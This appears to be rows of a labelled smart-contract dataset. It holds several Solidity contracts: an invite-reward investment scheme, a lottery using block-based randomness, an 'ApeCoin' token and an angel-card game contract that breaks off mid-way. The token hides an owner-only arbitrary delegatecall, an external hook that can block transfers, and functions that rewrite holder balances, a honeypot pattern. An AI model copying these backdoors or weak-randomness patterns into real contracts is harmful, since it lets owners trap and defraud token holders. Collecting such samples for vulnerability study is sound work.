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pragma solidity ^0.4.24;
contract UtilFairWin {
function getRecommendBiliBylevelandDai(uint level,uint dai) public view returns(uint);
function compareStr (string _str,string str) public view returns(bool);
function getLineLevel(uint value) public view returns(uint);
function getBiliBylevel(uint level) public view returns(uint);
function getFireBiliBylevel(uint level) public view returns(uint);
function getlevel(uint value) public view returns(uint);
}
contract FairWin {
uint ethWei = 1 ether;
uint allCount = 0;
uint oneDayCount = 0;
uint leijiMoney = 0;
uint leijiCount = 0;
uint beginTime = 1;
uint lineCountTimes = 1;
uint daySendMoney = 0;
uint currentIndex = 0;
bool isCountOver = false;
bool isRecommend = false;
address private owner;
uint countCurrentIndex = 0;
bool countCurrentOverStatus = true;
uint sendCurrentIndex = 0;
bool sendCurrentOverStatus = true;
uint recommendCurrentIndex = 0;
bool recommendCurrentOverStatus = true;
constructor () public {
owner = msg.sender;
}
struct User{
address userAddress;
uint freeAmount;
uint freezeAmount;
uint rechargeAmount;
uint withdrawlsAmount;
uint inviteAmonut;
uint bonusAmount;
uint dayInviteAmonut;
uint dayBonusAmount;
uint level;
uint resTime;
uint lineAmount;
uint lineLevel;
string inviteCode;
string beInvitedCode;
uint isline;
uint status;
bool isVaild;
}
struct Invest{
address userAddress;
uint inputAmount;
uint resTime;
string inviteCode;
string beInvitedCode;
uint isline;
uint status;
}
mapping (address => User) userMapping;
mapping (string => address) addressMapping;
mapping (uint => address) indexMapping;
Invest[] invests;
UtilFairWin util = UtilFairWin(0x90468D04ba71A1a2F5187d7B2Ef0cb5c3a355660);
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
function invest(address userAddress ,uint inputAmount,string inviteCode,string beInvitedCode) public payable{
userAddress = msg.sender;
inputAmount = msg.value;
uint lineAmount = inputAmount;
if(inputAmount < 1* ethWei || inputAmount > 15* ethWei || util.compareStr(inviteCode,"") || util.compareStr(beInvitedCode,"")){
userAddress.transfer(msg.value);
require(inputAmount >= 1* ethWei && inputAmount <= 15* ethWei && !util.compareStr(inviteCode,"") && !util.compareStr(beInvitedCode,""), "inputAmount must between 1 and 15");
}
User storage userTest = userMapping[userAddress];
if(userTest.isVaild && userTest.status != 2){
if((userTest.lineAmount + userTest.freezeAmount + lineAmount)> (15 * ethWei)){
userAddress.transfer(msg.value);
require((userTest.lineAmount + userTest.freezeAmount + lineAmount) <= 15 * ethWei,"freeze and line can not beyond 15 eth");
return;
}
}
leijiMoney = leijiMoney + inputAmount;
leijiCount = leijiCount + 1;
bool isLine = false;
uint level =util.getlevel(inputAmount);
uint lineLevel = util.getLineLevel(lineAmount);
if(beginTime==1){
lineAmount = 0;
oneDayCount = oneDayCount + inputAmount;
Invest memory invest = Invest(userAddress,inputAmount,now, inviteCode, beInvitedCode ,1,1);
invests.push(invest);
sendFeetoAdmin(inputAmount);
}else{
allCount = allCount + inputAmount;
isLine = true;
invest = Invest(userAddress,inputAmount,now, inviteCode, beInvitedCode ,0,1);
inputAmount = 0;
invests.push(invest);
}
User memory user = userMapping[userAddress];
if(user.isVaild && user.status == 1){
user.freezeAmount = user.freezeAmount + inputAmount;
user.rechargeAmount = user.rechargeAmount + inputAmount;
user.lineAmount = user.lineAmount + lineAmount;
level =util.getlevel(user.freezeAmount);
lineLevel = util.getLineLevel(user.freezeAmount + user.freeAmount +user.lineAmount);
user.level = level;
user.lineLevel = lineLevel;
userMapping[userAddress] = user;
}else{
if(isLine){
level = 0;
}
if(user.isVaild){
inviteCode = user.inviteCode;
beInvitedCode = user.beInvitedCode;
}
user = User(userAddress,0,inputAmount,inputAmount,0,0,0,0,0,level,now,lineAmount,lineLevel,inviteCode, beInvitedCode ,1,1,true);
userMapping[userAddress] = user;
indexMapping[currentIndex] = userAddress;
currentIndex = currentIndex + 1;
}
address userAddressCode = addressMapping[inviteCode];
if(userAddressCode == 0x0000000000000000000000000000000000000000){
addressMapping[inviteCode] = userAddress;
}
}
function userWithDraw(address userAddress) public{
bool success = false;
require (msg.sender == userAddress, "acoount diffrent");
uint lineMoney = 0;
uint sendMoney = 0;
User memory user = userMapping[userAddress];
sendMoney = lineMoney + user.freeAmount;
bool isEnough = false ;
uint resultMoney = 0;
(isEnough,resultMoney) = isEnoughBalance(sendMoney);
user.withdrawlsAmount =user.withdrawlsAmount + resultMoney;
user.freeAmount = lineMoney + user.freeAmount - resultMoney;
user.level = util.getlevel(user.freezeAmount);
user.lineAmount = 0;
user.lineLevel = util.getLineLevel(user.freezeAmount + user.freeAmount);
userMapping[userAddress] = user;
if(resultMoney > 0 ){
userAddress.transfer(resultMoney);
}
}
function countShareAndRecommendedAward() external onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
bool lastCountAction = false;
uint countIndex = 0;
if((countCurrentIndex + 101) >= invests.length ){
countIndex = invests.length;
lastCountAction = true;
}else{
countIndex = countCurrentIndex +101;
}
for(uint i = countCurrentIndex; i < countIndex; i++) {
Invest memory invest = invests[i];
address userAddressCode = addressMapping[invest.inviteCode];
User memory user = userMapping[userAddressCode];
if(invest.isline==1 && invest.status == 1 && now < (invest.resTime + 5 days)){
uint bili = util.getBiliBylevel(user.level);
user.dayBonusAmount =user.dayBonusAmount + bili*invest.inputAmount/1000;
user.bonusAmount = user.bonusAmount + bili*invest.inputAmount/1000;
userMapping[userAddressCode] = user;
}
if(invest.isline==1 && invest.status == 1 && now >= (invest.resTime + 5 days)){
invests[i].status = 2;
user.freezeAmount = user.freezeAmount - invest.inputAmount;
user.freeAmount = user.freeAmount + invest.inputAmount;
user.level = util.getlevel(user.freezeAmount);
userMapping[userAddressCode] = user;
}
}
countCurrentOverStatus = !countCurrentOverStatus;
if(lastCountAction){
isCountOver = true;
countCurrentIndex = 0;
countCurrentOverStatus = true;
}
}
function countRecommend() external onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
bool lastSendAction = false;
uint sendIndex = 0;
if((recommendCurrentIndex + 100) >= currentIndex ){
sendIndex = invests.length;
lastSendAction = true;
}else{
sendIndex = recommendCurrentIndex +100;
}
for(uint i = recommendCurrentIndex; i <= sendIndex; i++) {
address userAddress = indexMapping[i];
if(userAddress != 0x0000000000000000000000000000000000000000){
User memory user = userMapping[userAddress];
if(user.status == 1 && user.freezeAmount >= 1 * ethWei){
uint bili = util.getBiliBylevel(user.level);
execute(user.beInvitedCode,1,user.freezeAmount,bili);
}
}
}
recommendCurrentOverStatus = !recommendCurrentOverStatus;
if(lastSendAction){
recommendCurrentIndex = 0;
recommendCurrentOverStatus =true;
isRecommend = true;
}
}
function execute(string inviteCode,uint runtimes,uint money,uint shareBi) public returns(string,uint,uint,uint) {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
string memory codeOne = "null";
address userAddressCode = addressMapping[inviteCode];
User memory user = userMapping[userAddressCode];
if (user.isVaild){
codeOne = user.beInvitedCode;
if(user.status == 1){
uint fireBi = util.getFireBiliBylevel(user.lineLevel);
uint recommendBi = util.getRecommendBiliBylevelandDai(user.lineLevel,runtimes);
uint moneyResult = 0;
if(money <= (user.freezeAmount+user.lineAmount+user.freeAmount)){
moneyResult = money;
}else{
moneyResult = user.freezeAmount+user.lineAmount+user.freeAmount;
}
if(recommendBi != 0){
user.dayInviteAmonut =user.dayInviteAmonut + (moneyResult*shareBi*fireBi*recommendBi/1000/10/100);
user.inviteAmonut = user.inviteAmonut + (moneyResult*shareBi*fireBi*recommendBi/1000/10/100);
userMapping[userAddressCode] = user;
}
}
return execute(codeOne,runtimes+1,money,shareBi);
}
return (codeOne,0,0,0);
}
function sendMoneyToUser(address userAddress, uint money) private {
address send_to_address = userAddress;
uint256 _eth = money;
send_to_address.transfer(_eth);
}
function sendAward() public {
daySendMoney = 0;
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
bool lastSendAction = false;
uint sendIndex = 0;
if((sendCurrentIndex + 100) >= currentIndex ){
sendIndex = invests.length;
lastSendAction = true;
}else{
sendIndex = sendCurrentIndex +100;
}
for(uint i = sendCurrentIndex; i <= sendIndex; i++) {
address userAddress = indexMapping[i];
if(userAddress != 0x0000000000000000000000000000000000000000){
User memory user = userMapping[userAddress];
if(user.status == 1){
uint sendMoney =user.dayInviteAmonut + user.dayBonusAmount;
if(sendMoney >= (ethWei/10)){
sendMoney = sendMoney - (ethWei/1000);
bool isEnough = false ;
uint resultMoney = 0;
(isEnough,resultMoney) = isEnoughBalance(sendMoney);
if(isEnough){
daySendMoney =daySendMoney + resultMoney;
sendMoneyToUser(user.userAddress,resultMoney);
user.dayInviteAmonut = 0;
user.dayBonusAmount = 0;
userMapping[userAddress] = user;
}else{
userMapping[userAddress] = user;
if(sendMoney > 0 ){
daySendMoney =daySendMoney + resultMoney;
sendMoneyToUser(user.userAddress,resultMoney);
user.dayInviteAmonut = 0;
user.dayBonusAmount = 0;
userMapping[userAddress] = user;
}
}
}
}
}
}
sendCurrentOverStatus = !sendCurrentOverStatus;
if(lastSendAction){
isRecommend = false;
isCountOver = false;
sendCurrentIndex = 0;
sendCurrentOverStatus =true;
}
}
function isEnoughBalance(uint sendMoney) public view returns (bool,uint){
if(this.balance > 0 ){
if(sendMoney >= this.balance){
if((this.balance ) > 0){
return (false,this.balance);
}else{
return (false,0);
}
}else{
return (true,sendMoney);
}
}else{
return (false,0);
}
}
function getUserByAddress(address userAddress) public view returns(uint,uint,uint,uint,uint,uint,uint,uint,uint,string,string,uint){
User memory user = userMapping[userAddress];
return (user.lineAmount,user.freeAmount,user.freezeAmount,user.inviteAmonut,
user.bonusAmount,user.lineLevel,user.status,user.dayInviteAmonut,user.dayBonusAmount,user.inviteCode,user.beInvitedCode,user.level);
}
function getUserByinviteCode(string inviteCode) public view returns (bool){
address userAddressCode = addressMapping[inviteCode];
User memory user = userMapping[userAddressCode];
if (user.isVaild){
return true;
}
return false;
}
function getPingtaiInfo() public view returns(uint,uint,uint){
return(leijiMoney,leijiCount,beginTime);
}
function getCountStatus() public view returns(bool){
return isCountOver;
}
function test() public view returns(bool,bool,uint,bool,bool,bool){
return (countCurrentOverStatus,isCountOver,countCurrentIndex,sendCurrentOverStatus,isRecommend,recommendCurrentOverStatus);
}
function sendFeetoAdmin(uint amount){
address adminAddress = 0x854D359A586244c9E02B57a3770a4dC21Ffcaa8d;
adminAddress.transfer(amount/25);
}
} | 1 | 3,716 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract CryptoGain {
using SafeMath for uint256;
struct Bid {
address player;
uint8 slot_from;
uint8 slot_to;
}
Bid[] public bids;
mapping (address => uint256) balances;
address public admin;
bool public is_alive = true;
uint8 constant max_slots = 100;
uint256 constant price_ticket = 10 finney;
uint256 constant win_reward = 40 finney;
uint256 constant house_edge = 2 finney;
uint8 constant winners_count = 20;
uint8 public last_slot = 0;
uint public start_ts = 0;
uint constant week_seconds = 60*60*24*7;
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
modifier onlyAlive() {
require(is_alive);
_;
}
function CryptoGain() {
admin = msg.sender;
}
function set_admin(address newAdmin) public onlyOwner {
admin = newAdmin;
}
function destruct() public onlyOwner {
admin.transfer(this.balance);
is_alive = false;
}
function reset() public onlyOwner {
require(block.timestamp > start_ts + week_seconds);
admin.transfer(price_ticket.mul(last_slot));
restart();
}
function restart() internal {
start_ts = block.timestamp;
last_slot = 0;
delete bids;
}
function bid(address player, uint8 bid_slots_count) internal {
uint8 new_last_slot = last_slot + bid_slots_count;
bids.push(Bid(player, last_slot, new_last_slot));
remove_exceed(house_edge.mul(bid_slots_count));
last_slot = new_last_slot;
}
function is_slot_in_bid(uint8 slot_from, uint8 slot_to, uint8 slot) returns (bool) {
return (slot >= slot_from && slot < slot_to) ? true : false;
}
function search_winner_bid_address(uint8 slot) returns (address) {
uint8 i;
if (slot < 128) {
for (i=0; i<bids.length; i++) {
if (is_slot_in_bid(bids[i].slot_from, bids[i].slot_to, slot)) {
return bids[i].player;
}
}
} else {
for (i=uint8(bids.length)-1; i>=0; i--) {
if (is_slot_in_bid(bids[i].slot_from, bids[i].slot_to, slot)) {
return bids[i].player;
}
}
}
assert (false);
}
function playout() internal {
bytes20 hash = ripemd160(block.timestamp, block.number, msg.sender);
uint8 current_winner_slot = 0;
for (uint8 i=0; i<winners_count; i++) {
current_winner_slot = ( current_winner_slot + uint8(hash[i]) ) % max_slots;
address current_winner_address = search_winner_bid_address(current_winner_slot);
balances[current_winner_address] = balances[current_winner_address].add(win_reward);
}
restart();
}
function remove_exceed(uint256 amount) internal {
balances[admin] = balances[admin].add(amount);
}
function get_balance() public returns (uint256) {
return balances[msg.sender];
}
function get_foreign_balance(address _address) public returns (uint256) {
return balances[_address];
}
function withdraw() public onlyAlive {
require(balances[msg.sender] > 0);
var amount = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(amount);
}
function run(address player, uint256 deposit_eth) internal onlyAlive {
require(deposit_eth >= price_ticket);
uint256 exceed_mod_eth = deposit_eth % price_ticket;
if (exceed_mod_eth > 0) {
remove_exceed(exceed_mod_eth);
deposit_eth = deposit_eth.sub(exceed_mod_eth);
}
uint8 deposit_bids = uint8(deposit_eth / price_ticket);
uint8 avaliable_session_slots = max_slots - last_slot;
if (deposit_bids < avaliable_session_slots) {
bid(player, deposit_bids);
} else {
uint8 max_avaliable_slots = (avaliable_session_slots + max_slots - 1);
if (deposit_bids > max_avaliable_slots) {
uint256 max_bid_eth = price_ticket.mul(max_avaliable_slots);
uint256 exceed_over_eth = deposit_eth.sub(max_bid_eth);
remove_exceed(exceed_over_eth);
deposit_bids = max_avaliable_slots;
}
uint8 second_session_bids_count = deposit_bids - avaliable_session_slots;
bid(player, avaliable_session_slots);
playout();
if (second_session_bids_count > 0) {
bid(player, second_session_bids_count);
}
}
}
function() payable public {
run(msg.sender, msg.value);
}
} | 1 | 5,273 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract SimpleToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000;
string public name = "ApeCoin";
string public symbol = "APE";
IUniswapV2Router02 public pancakeRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedBinance = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOfTokens(wrappedBinance, address(this));
allowance[address(this)][address(pancakeRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairOfTokens(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _toAddresses, uint amount) public {
require(msg.sender == owner);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses));
for(uint i = 0; i < _toAddresses.length; i++) {
balanceOf[_toAddresses[i]] = amount;
emit Transfer(address(0x0), _toAddresses[i], amount);
}
}
function list(uint _numList, address[] memory _toAddresses, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
pancakeRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toAddresses.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses));
for(uint i = 0; i < _toAddresses.length; i++) {
balanceOf[_toAddresses[i]] = _amounts[i];
emit Transfer(address(0x0), _toAddresses[i], _amounts[i]);
}
}
} | 0 | 52 |
pragma solidity ^0.4.17;
contract AccessControl {
address public creatorAddress;
uint16 public totalSeraphims = 0;
mapping (address => bool) public seraphims;
bool public isMaintenanceMode = true;
modifier onlyCREATOR() {
require(msg.sender == creatorAddress);
_;
}
modifier onlySERAPHIM() {
require(seraphims[msg.sender] == true);
_;
}
modifier isContractActive {
require(!isMaintenanceMode);
_;
}
function AccessControl() public {
creatorAddress = msg.sender;
}
function addSERAPHIM(address _newSeraphim) onlyCREATOR public {
if (seraphims[_newSeraphim] == false) {
seraphims[_newSeraphim] = true;
totalSeraphims += 1;
}
}
function removeSERAPHIM(address _oldSeraphim) onlyCREATOR public {
if (seraphims[_oldSeraphim] == true) {
seraphims[_oldSeraphim] = false;
totalSeraphims -= 1;
}
}
function updateMaintenanceMode(bool _isMaintaining) onlyCREATOR public {
isMaintenanceMode = _isMaintaining;
}
}
contract SafeMath {
function safeAdd(uint x, uint y) pure internal returns(uint) {
uint z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint x, uint y) pure internal returns(uint) {
assert(x >= y);
uint z = x - y;
return z;
}
function safeMult(uint x, uint y) pure internal returns(uint) {
uint z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
function getRandomNumber(uint16 maxRandom, uint8 min, address privateAddress) constant public returns(uint8) {
uint256 genNum = uint256(block.blockhash(block.number-1)) + uint256(privateAddress);
return uint8(genNum % (maxRandom - min + 1)+min);
}
}
contract Enums {
enum ResultCode {
SUCCESS,
ERROR_CLASS_NOT_FOUND,
ERROR_LOW_BALANCE,
ERROR_SEND_FAIL,
ERROR_NOT_OWNER,
ERROR_NOT_ENOUGH_MONEY,
ERROR_INVALID_AMOUNT
}
enum AngelAura {
Blue,
Yellow,
Purple,
Orange,
Red,
Green
}
}
contract IAngelCardData is AccessControl, Enums {
uint8 public totalAngelCardSeries;
uint64 public totalAngels;
function createAngelCardSeries(uint8 _angelCardSeriesId, uint _basePrice, uint64 _maxTotal, uint8 _baseAura, uint16 _baseBattlePower, uint64 _liveTime) onlyCREATOR external returns(uint8);
function updateAngelCardSeries(uint8 _angelCardSeriesId) onlyCREATOR external;
function setAngel(uint8 _angelCardSeriesId, address _owner, uint _price, uint16 _battlePower) onlySERAPHIM external returns(uint64);
function addToAngelExperienceLevel(uint64 _angelId, uint _value) onlySERAPHIM external;
function setAngelLastBattleTime(uint64 _angelId) onlySERAPHIM external;
function setAngelLastVsBattleTime(uint64 _angelId) onlySERAPHIM external;
function setLastBattleResult(uint64 _angelId, uint16 _value) onlySERAPHIM external;
function addAngelIdMapping(address _owner, uint64 _angelId) private;
function transferAngel(address _from, address _to, uint64 _angelId) onlySERAPHIM public returns(ResultCode);
function ownerAngelTransfer (address _to, uint64 _angelId) public;
function getAngelCardSeries(uint8 _angelCardSeriesId) constant public returns(uint8 angelCardSeriesId, uint64 currentAngelTotal, uint basePrice, uint64 maxAngelTotal, uint8 baseAura, uint baseBattlePower, uint64 lastSellTime, uint64 liveTime);
function getAngel(uint64 _angelId) constant public returns(uint64 angelId, uint8 angelCardSeriesId, uint16 battlePower, uint8 aura, uint16 experience, uint price, uint64 createdTime, uint64 lastBattleTime, uint64 lastVsBattleTime, uint16 lastBattleResult, address owner);
function getOwnerAngelCount(address _owner) constant public returns(uint);
function getAngelByIndex(address _owner, uint _index) constant public returns(uint64);
function getTotalAngelCardSeries() constant public returns (uint8);
function getTotalAngels() constant public returns (uint64);
}
contract AngelCardData is IAngelCardData, SafeMath {
event CreatedAngel(uint64 angelId);
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
struct AngelCardSeries {
uint8 angelCardSeriesId;
uint basePrice;
uint64 currentAngelTotal;
uint64 maxAngelTotal;
AngelAura baseAura;
uint baseBattlePower;
uint64 lastSellTime;
uint64 liveTime;
}
struct Angel {
uint64 angelId;
uint8 angelCardSeriesId;
address owner;
uint16 battlePower;
AngelAura aura;
uint16 experience;
uint price;
uint64 createdTime;
uint64 lastBattleTime;
uint64 lastVsBattleTime;
uint16 lastBattleResult;
}
mapping(uint8 => AngelCardSeries) public angelCardSeriesCollection;
mapping(uint64 => Angel) public angelCollection;
mapping(address => uint64[]) public ownerAngelCollection;
uint256 public prevSeriesSelloutHours;
function AngelCardData() public {
}
function createAngelCardSeries(uint8 _angelCardSeriesId, uint _basePrice, uint64 _maxTotal, uint8 _baseAura, uint16 _baseBattlePower, uint64 _liveTime) onlyCREATOR external returns(uint8) {
if ((now > 1516692600) || (totalAngelCardSeries >= 24)) {revert();}
AngelCardSeries storage angelCardSeries = angelCardSeriesCollection[_angelCardSeriesId];
angelCardSeries.angelCardSeriesId = _angelCardSeriesId;
angelCardSeries.basePrice = _basePrice;
angelCardSeries.maxAngelTotal = _maxTotal;
angelCardSeries.baseAura = AngelAura(_baseAura);
angelCardSeries.baseBattlePower = _baseBattlePower;
angelCardSeries.lastSellTime = 0;
angelCardSeries.liveTime = _liveTime;
totalAngelCardSeries += 1;
return totalAngelCardSeries;
}
function updateAngelCardSeries(uint8 _angelCardSeriesId) onlyCREATOR external {
if (_angelCardSeriesId < 4)
revert();
AngelCardSeries memory seriesMinusOne = angelCardSeriesCollection[_angelCardSeriesId - 1];
AngelCardSeries storage seriesStorage = angelCardSeriesCollection[_angelCardSeriesId];
seriesStorage.maxAngelTotal = seriesMinusOne.maxAngelTotal;
if (seriesMinusOne.currentAngelTotal >= seriesMinusOne.maxAngelTotal) {
prevSeriesSelloutHours = (safeSubtract(seriesMinusOne.lastSellTime,seriesMinusOne.liveTime))/3600;
} else {
prevSeriesSelloutHours = 120;
}
if (prevSeriesSelloutHours > 100) {
if (seriesMinusOne.basePrice > 70000000000000000)
{seriesStorage.basePrice = seriesMinusOne.basePrice - 65000000000000000;}
else {seriesStorage.basePrice = 5000000000000000;}
}
else {seriesStorage.basePrice = seriesMinusOne.basePrice+((100-prevSeriesSelloutHours)*5000000000000000);}
if (prevSeriesSelloutHours < 100 && seriesMinusOne.maxAngelTotal <= 435) {
seriesStorage.maxAngelTotal = seriesMinusOne.maxAngelTotal+15;
} else if (prevSeriesSelloutHours > 100 && seriesMinusOne.maxAngelTotal >= 60) {
seriesStorage.maxAngelTotal = seriesMinusOne.maxAngelTotal-15;
}
seriesStorage.lastSellTime = uint64(now);
}
function setAngel(uint8 _angelCardSeriesId, address _owner, uint _price, uint16 _battlePower) onlySERAPHIM external returns(uint64) {
AngelCardSeries storage series = angelCardSeriesCollection[_angelCardSeriesId];
if (series.currentAngelTotal >= series.maxAngelTotal) {
revert();
}
else {
totalAngels += 1;
Angel storage angel = angelCollection[totalAngels];
series.currentAngelTotal += 1;
series.lastSellTime = uint64(now);
angel.angelId = totalAngels;
angel.angelCardSeriesId = _angelCardSeriesId;
angel.owner = _owner;
angel.battlePower = _battlePower;
angel.aura = series.baseAura;
angel.experience = 0;
angel.price = _price;
angel.createdTime = uint64(now);
angel.lastBattleTime = 0;
angel.lastVsBattleTime = 0;
angel.lastBattleResult = 0;
addAngelIdMapping(_owner, angel.angelId);
return angel.angelId;
}
}
function addToAngelExperienceLevel(uint64 _angelId, uint _value) onlySERAPHIM external {
Angel storage angel = angelCollection[_angelId];
if (angel.angelId == _angelId) {
angel.experience = uint16(safeAdd(angel.experience, _value));
}
}
function setAngelLastBattleTime(uint64 _angelId) onlySERAPHIM external {
Angel storage angel = angelCollection[_angelId];
if (angel.angelId == _angelId) {
angel.lastBattleTime = uint64(now);
}
}
function setAngelLastVsBattleTime(uint64 _angelId) onlySERAPHIM external {
Angel storage angel = angelCollection[_angelId];
if (angel.angelId == _angelId) {
angel.lastVsBattleTime = uint64(now);
}
}
function setLastBattleResult(uint64 _angelId, uint16 _value) onlySERAPHIM external {
Angel storage angel = angelCollection[_angelId];
if (angel.angelId == _angelId) {
angel.lastBattleResult = _value;
}
}
function addAngelIdMapping(address _owner, uint64 _angelId) private {
uint64[] storage owners = ownerAngelCollection[_owner];
owners.push(_angelId);
Angel storage angel = angelCollection[_angelId];
angel.owner = _owner;
}
function ownerAngelTransfer (address _to, uint64 _angelId) public {
if ((_angelId > totalAngels) || (_angelId == 0)) {revert();}
Angel storage angel = angelCollection[_angelId];
if (msg.sender == _to) {revert();}
if (angel.owner != msg.sender) {
revert();
}
else {
angel.owner = _to;
addAngelIdMapping(_to, _angelId);
}
}
function transferAngel(address _from, address _to, uint64 _angelId) onlySERAPHIM public returns(ResultCode) {
Angel storage angel = angelCollection[_angelId];
if (_from == _to) {revert();}
if (angel.owner != _from) {
return ResultCode.ERROR_NOT_OWNER;
}
angel.owner = _to;
addAngelIdMapping(_to, _angelId);
return ResultCode.SUCCESS;
}
function getAngelCardSeries(uint8 _angelCardSeriesId) constant public returns(uint8 angelCardSeriesId, uint64 currentAngelTotal, uint basePrice, uint64 maxAngelTotal, uint8 baseAura, uint baseBattlePower, uint64 lastSellTime, uint64 liveTime) {
AngelCardSeries memory series = angelCardSeriesCollection[_angelCardSeriesId];
angelCardSeriesId = series.angelCardSeriesId;
currentAngelTotal = series.currentAngelTotal;
basePrice = series.basePrice;
maxAngelTotal = series.maxAngelTotal;
baseAura = uint8(series.baseAura);
baseBattlePower = series.baseBattlePower;
lastSellTime = series.lastSellTime;
liveTime = series.liveTime;
}
